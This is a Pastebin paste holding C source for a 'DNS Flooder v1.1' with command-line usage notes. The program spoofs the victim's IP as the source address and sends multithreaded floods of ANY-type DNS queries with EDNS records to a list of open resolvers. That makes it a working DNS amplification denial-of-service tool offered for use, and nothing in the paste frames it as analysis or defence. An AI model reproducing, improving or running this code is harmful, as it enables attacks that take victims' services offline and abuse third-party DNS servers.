Advertisement
Guest User

Untitled

a guest
Mar 27th, 2014
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.05 KB | None | 0 0
  1. <<<<FoSho>>>>
  2. compile with gcc
  3. script use: ./script ip(target) 80 dns.txt(dns list) 15(threads) 3600(seconds)
  4. ##############################################################################
  5. #include <time.h>
  6. #include <pthread.h>
  7. #include <unistd.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <sys/socket.h>
  12. #include <netinet/ip.h>
  13. #include <netinet/udp.h>
  14. #include <arpa/inet.h>
  15.  
  16. #define MAX_PACKET_SIZE 8192
  17. #define PHI 0x9e3779b9
  18. #define PACKETS_PER_RESOLVER 15
  19.  
  20. static uint32_t Q[4096], c = 362436;
  21.  
  22. struct list
  23. {
  24. struct sockaddr_in data;
  25. char domain[512];
  26. int line;
  27. struct list *next;
  28. struct list *prev;
  29. };
  30. struct list *head;
  31.  
  32. struct thread_data{
  33. int thread_id;
  34. struct list *list_node;
  35. struct sockaddr_in sin;
  36. int port;
  37. };
  38.  
  39. struct DNS_HEADER
  40. {
  41. unsigned short id; // identification number
  42.  
  43. unsigned char rd :1; // recursion desired
  44. unsigned char tc :1; // truncated message
  45. unsigned char aa :1; // authoritive answer
  46. unsigned char opcode :4; // purpose of message
  47. unsigned char qr :1; // query/response flag
  48.  
  49. unsigned char rcode :4; // response code
  50. unsigned char cd :1; // checking disabled
  51. unsigned char ad :1; // authenticated data
  52. unsigned char z :1; // its z! reserved
  53. unsigned char ra :1; // recursion available
  54.  
  55. unsigned short q_count; // number of question entries
  56. unsigned short ans_count; // number of answer entries
  57. unsigned short auth_count; // number of authority entries
  58. unsigned short add_count; // number of resource entries
  59. };
  60.  
  61. //Constant sized fields of query structure
  62. struct QUESTION
  63. {
  64. unsigned short qtype;
  65. unsigned short qclass;
  66. };
  67.  
  68. //Constant sized fields of the resource record structure
  69. struct QUERY
  70. {
  71. unsigned char *name;
  72. struct QUESTION *ques;
  73. };
  74.  
  75. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  76. {
  77. int lock = 0 , i;
  78. strcat((char*)host,".");
  79.  
  80. for(i = 0 ; i < strlen((char*)host) ; i++)
  81. {
  82. if(host[i]=='.')
  83. {
  84. *dns++ = i-lock;
  85. for(;lock<i;lock++)
  86. {
  87. *dns++=host[lock];
  88. }
  89. lock++; //or lock=i+1;
  90. }
  91. }
  92. *dns++='\0';
  93. }
  94.  
  95. void init_rand(uint32_t x)
  96. {
  97. int i;
  98.  
  99. Q[0] = x;
  100. Q[1] = x + PHI;
  101. Q[2] = x + PHI + PHI;
  102.  
  103. for (i = 3; i < 4096; i++)
  104. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  105. }
  106.  
  107. uint32_t rand_cmwc(void)
  108. {
  109. uint64_t t, a = 18782LL;
  110. static uint32_t i = 4095;
  111. uint32_t x, r = 0xffe;
  112. i = (i + 1) & 4095;
  113. t = a * Q[i] + c;
  114. c = (t >> 32);
  115. x = t + c;
  116. if (x < c) {
  117. x++;
  118. c++;
  119. }
  120. return (Q[i] = r - x);
  121. }
  122.  
  123. /* function for header checksums */
  124. unsigned short csum (unsigned short *buf, int nwords)
  125. {
  126. unsigned long sum;
  127. for (sum = 0; nwords > 0; nwords--)
  128. sum += *buf++;
  129. sum = (sum >> 16) + (sum & 0xffff);
  130. sum += (sum >> 16);
  131. return (unsigned short)(~sum);
  132. }
  133.  
  134. void setup_udp_header(struct udphdr *udph)
  135. {
  136.  
  137. }
  138.  
  139. void *flood(void *par1)
  140. {
  141. struct thread_data *td = (struct thread_data *)par1;
  142.  
  143. char strPacket[MAX_PACKET_SIZE];
  144. int iPayloadSize = 0;
  145.  
  146. struct sockaddr_in sin = td->sin;
  147. struct list *list_node = td->list_node;
  148. int iPort = td->port;
  149.  
  150. int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  151. if(s < 0)
  152. {
  153. fprintf(stderr, "Could not open raw socket. You need to be root!\n");
  154. exit(-1);
  155. }
  156.  
  157. //init random
  158. init_rand(time(NULL));
  159.  
  160. // Clear the data
  161. memset(strPacket, 0, MAX_PACKET_SIZE);
  162.  
  163. // Make the packet
  164. struct iphdr *iph = (struct iphdr *) &strPacket;
  165. iph->ihl = 5;
  166. iph->version = 4;
  167. iph->tos = 0;
  168. iph->tot_len = sizeof(struct iphdr) + 38;
  169. iph->id = htonl(54321);
  170. iph->frag_off = 0;
  171. iph->ttl = MAXTTL;
  172. iph->protocol = IPPROTO_UDP;
  173. iph->check = 0;
  174. iph->saddr = inet_addr("192.168.5.100");
  175.  
  176. iPayloadSize += sizeof(struct iphdr);
  177.  
  178. struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  179. udph->source = htons(iPort);
  180. udph->dest = htons(53);
  181. udph->check = 0;
  182.  
  183. iPayloadSize += sizeof(struct udphdr);
  184.  
  185. struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  186. dns->id = (unsigned short) htons(rand_cmwc());
  187. dns->qr = 0; //This is a query
  188. dns->opcode = 0; //This is a standard query
  189. dns->aa = 0; //Not Authoritative
  190. dns->tc = 0; //This message is not truncated
  191. dns->rd = 1; //Recursion Desired
  192. dns->ra = 0; //Recursion not available! hey we dont have it (lol)
  193. dns->z = 0;
  194. dns->ad = 0;
  195. dns->cd = 0;
  196. dns->rcode = 0;
  197. dns->q_count = htons(1); //we have only 1 question
  198. dns->ans_count = 0;
  199. dns->auth_count = 0;
  200. dns->add_count = htons(1);
  201.  
  202. iPayloadSize += sizeof(struct DNS_HEADER);
  203.  
  204. sin.sin_port = udph->source;
  205. iph->saddr = sin.sin_addr.s_addr;
  206. iph->daddr = list_node->data.sin_addr.s_addr;
  207. iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  208.  
  209. char strDomain[512];
  210. int i;
  211. int j = 0;
  212. int iAdditionalSize = 0;
  213. while(1)
  214. {
  215. if(j==2){
  216. usleep(100);
  217. j=0;
  218. }
  219.  
  220. //set the next node
  221. list_node = list_node->next;
  222.  
  223. //Clear the old domain and question
  224. memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
  225.  
  226. //add the chosen domain and question
  227. iAdditionalSize = 0;
  228.  
  229. unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  230.  
  231. strcpy(strDomain, list_node->domain);
  232. ChangetoDnsNameFormat(qname, strDomain);
  233. //printf("!!%s %d\n", list_node->domain, list_node->line);
  234.  
  235. iAdditionalSize += strlen(qname) + 1;
  236.  
  237. struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  238. qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  239. qinfo->qclass = htons(1);
  240.  
  241. iAdditionalSize += sizeof(struct QUESTION);
  242.  
  243. strPacket[iPayloadSize + iAdditionalSize] = 0x00;
  244. strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
  245. strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
  246. strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
  247. strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
  248. strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
  249. strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
  250. strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
  251. strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
  252. strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
  253. strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
  254. strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
  255.  
  256. iAdditionalSize += 11;
  257.  
  258. //set new node data
  259. iph->daddr = list_node->data.sin_addr.s_addr;
  260.  
  261. udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
  262. iph->tot_len = iPayloadSize + iAdditionalSize;
  263.  
  264. udph->source = htons(rand_cmwc() & 0xFFFF);
  265. iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  266.  
  267. //send
  268. for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  269. {
  270. //usleep(1);
  271. sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  272. }
  273.  
  274. j++;
  275. }
  276. }
  277.  
  278. void ParseResolverLine(char *strLine, int iLine)
  279. {
  280. char caIP[32] = "";
  281. char caDNS[512] = "";
  282.  
  283. int i;
  284. char buffer[512] = "";
  285.  
  286. int moved = 0;
  287.  
  288. for(i = 0; i < strlen(strLine); i++)
  289. {
  290. if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  291. {
  292. moved++;
  293. continue;
  294. }
  295.  
  296. if(moved == 0)
  297. {
  298. caIP[strlen(caIP)] = (char) strLine[i];
  299. }
  300. else if(moved == 1)
  301. {
  302. caDNS[strlen(caDNS)] = (char) strLine[i];
  303. }
  304. }
  305. //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  306.  
  307. if(head == NULL)
  308. {
  309. head = (struct list *)malloc(sizeof(struct list));
  310.  
  311. bzero(&head->data, sizeof(head->data));
  312.  
  313. head->data.sin_addr.s_addr=inet_addr(caIP);
  314. head->data.sin_port=htons(53);
  315. strcpy(head->domain, caDNS);
  316. head->line = iLine;
  317. head->next = head;
  318. head->prev = head;
  319. }
  320. else
  321. {
  322. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  323.  
  324. memset(new_node, 0x00, sizeof(struct list));
  325.  
  326. new_node->data.sin_addr.s_addr=inet_addr(caIP);
  327. new_node->data.sin_port=htons(53);
  328. strcpy(new_node->domain, caDNS);
  329. new_node->prev = head;
  330. head->line = iLine;
  331. new_node->next = head->next;
  332. head->next = new_node;
  333. }
  334. }
  335.  
  336. int main(int argc, char *argv[ ])
  337. {
  338. if(argc < 4)
  339. {
  340. fprintf(stderr, "Invalid parameters!\n");
  341. fprintf(stderr, "DNS Flooder v1.1\nUsage: %s <target IP/hostname> <port to hit> <reflection file (format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
  342. fprintf(stderr, "Reflection File Format: <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
  343. exit(-1);
  344. }
  345.  
  346. // printf("1");
  347. head = NULL;
  348.  
  349. char *strLine = (char *) malloc(256);
  350. strLine = memset(strLine, 0x00, 256);
  351.  
  352. char strIP[32] = "";
  353. char strDomain[256] = "";
  354.  
  355. int iLine = 0; // 0 = ip, 1 = domain.
  356.  
  357. FILE *list_fd = fopen(argv[3], "r");
  358. while(fgets(strLine, 256, list_fd) != NULL)
  359. {
  360. ParseResolverLine(strLine, iLine);
  361. iLine++;
  362. }
  363. //printf("2");
  364.  
  365. int i = 0;
  366. int num_threads = atoi(argv[4]);
  367.  
  368. struct list *current = head->next;
  369. pthread_t thread[num_threads];
  370. struct sockaddr_in sin;
  371. sin.sin_family = AF_INET;
  372. sin.sin_port = htons(0);
  373. sin.sin_addr.s_addr = inet_addr(argv[1]);
  374. struct thread_data td[num_threads];
  375.  
  376. int iPort = atoi(argv[2]);
  377. //printf("3");
  378. //printf("Target: %s:%d\n", argv[1], iPort);
  379.  
  380. for(i = 0; i < num_threads; i++)
  381. {
  382. current = current->next;
  383. td[i].thread_id = i;
  384. td[i].sin= sin;
  385. td[i].list_node = current;
  386. td[i].port = iPort;
  387. pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  388. }
  389. //printf("4");
  390. // fprintf(stdout, "Starting Flood...\n");
  391.  
  392. if(argc > 4)
  393. {
  394. sleep(atoi(argv[5]));
  395. }
  396. else
  397. {
  398. while(1)
  399. {
  400. sleep(1);
  401. }
  402. }
  403. //printf("5");
  404. return 0;
  405. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement